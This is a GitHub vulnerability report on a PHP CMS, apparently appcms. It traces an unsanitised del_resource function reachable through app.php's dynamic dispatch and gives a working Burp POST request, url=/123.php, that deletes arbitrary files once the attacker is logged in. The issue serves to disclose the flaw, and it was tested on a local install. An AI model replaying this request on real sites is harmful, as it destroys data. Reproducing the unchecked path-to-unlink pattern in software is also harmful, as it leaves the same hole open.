

New issue

[Jump to bottom](#)

## I found out in /admin/app.php After logging in, allow me to delete any file(Login required) #3

Open

H9dawn opened this issue on Dec 18, 2020 · 0 comments

H9dawn commented on Dec 18, 2020

First, we find that there is a sensitive function for "del\_resource" of core/function.php

```

17 function del_resource($resource_url) {
18     global $dbm;
19     if ($resource_url == '') return true;
20     $url = $_SERVER['DOCUMENT_ROOT'] . $resource_url;
21     $where = "resource_url='".$resource_url."'";
22     // 如果图片路径为服务器上的则只删记录
23     if (substr($resource_url, start: 0, length: 7)=='http://') {
24         $dbm -> single_del( table_name: TB_PREFIX . "resource_list", $where);
25         return true;
26     }
27     if (file_exists($url)) {
28         $thumb = explode( delimiter: "/", $url);
29         $thumb[(count($thumb)-1)] = "thumb_" . $thumb[(count($thumb)-1)];
30         $thumb = implode( glue: "/", $thumb);
31         if (@unlink($url) && @unlink($thumb)) {
32             $dbm -> single_del( table_name: TB_PREFIX . "resource_list", $where);
33             return true;
34         } else {
35             return false;
36         }
37     } else {
38         $dbm -> single_del( table_name: TB_PREFIX . "resource_list", $where);
39         return true;
40     }

```

We follow it to dawn/app.php:

```

413 */
414 function m__del_resource() {
415     global $page, $dbm;
416     // exit(print_r($page));
417     if (del_resource($page['post']['url'])) {
418         die('{"code": "0", "msg": "删除资源成功", "div": "' . $page['post']['id'] . '"}');
419     } else {
420         die('{"code": "100", "msg": "删除资源失败, 请重试"}');
421     }
422 }
423
424 // 提取标签

```

```

13 // 取得GET和POST变量并进行验证, 参数分支选择
14 $page['get'] = $_GET;
15 $page['post'] = $_POST;
16 // 实例化数据库类

```

How do we call the "m\_\_del\_resource" function?

```

21 // 设置页面数据
22 $page['get']['m'] = isset($_GET['m'])?$_GET['m']:'list';
23
24 if (function_exists( function_name: "m__" . $page['get']['m'])) {
25     call_user_func( function: "m__" . $page['get']['m']);
26 }
27

```

Good. I already know how to use it :

Let's first create a test file 123.php in the root directory:

mission	2020/12/14 13:18
templates	2020/12/14 13:18
upload	2020/12/14 13:18
.htaccess	2020/12/14 12:54
123.php	2020/12/15 9:55
404.html	2017/9/9 15:54
comment.php	2017/9/9 15:54
download.php	2017/9/9 15:54
getcode.php	2017/9/9 15:54
htpd.ini	2017/9/9 15:54
index.php	2017/9/9 15:54
nginx.conf	2017/9/9 15:54
nginx.htaccess	2020/12/14 12:54

Open burp and pay attention to the data of get and post.(Note that you have to log in to the background first:

http://your\_site/your\_backstage)

Raw Params Headers Hex

```

POST /dawn/app.php?m=del_resource HTTP/1.1
Host: www.dmsj.com:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=t7bal7pqp7r45vntqkpau65a4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

url=/123.php

```

Click send, it shows failed?

Raw Params Headers Hex

```

POST /dawn/app.php?m=del_resource HTTP/1.1
Host: www.dmsj.com:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=t7bal7pqp7r45vntqkpau65a4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

url=/123.php

```

Raw Headers Hex Render

```

HTTP/1.1 200 OK
Date: Tue, 15 Dec 2020 01:58:20 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.5.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 267
Connection: close
Content-Type: text/html; charset=utf-8

```

Deprecated: mysql\_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in E:\phpstudy\phpstudy\_pro\WWW\dmsj\appcms-master\core\database.class.php on line 17  
("code": "100", "msg": "删除资源失败, 请重试")

But when we look at the local files, "123.php" has disappeared :

templates	2020/12/14 13:18	文件夹
upload	2020/12/14 13:18	文件夹
.htaccess	2020/12/14 12:54	HTACCESS 文件
404.html	2017/9/9 15:54	HTML 文档
comment.php	2017/9/9 15:54	JetBrains PhpSto...
download.php	2017/9/9 15:54	JetBrains PhpSto...
getcode.php	2017/9/9 15:54	JetBrains PhpSto...
htpd.ini	2017/9/9 15:54	配置设置
index.php	2017/9/9 15:54	JetBrains PhpSto...
nginx.conf	2017/9/9 15:54	CONF 文件
nginx.htaccess	2020/12/14 12:54	HTACCESS 文件
pic.php	2017/9/9 15:54	JetBrains PhpSto...

H9dawn changed the title I found out in /dawn/app.php After logging in, allow me to delete any file(Login required) I found out in /admin/app.php After logging in, allow me to delete any file(Login required) on Dec 18, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

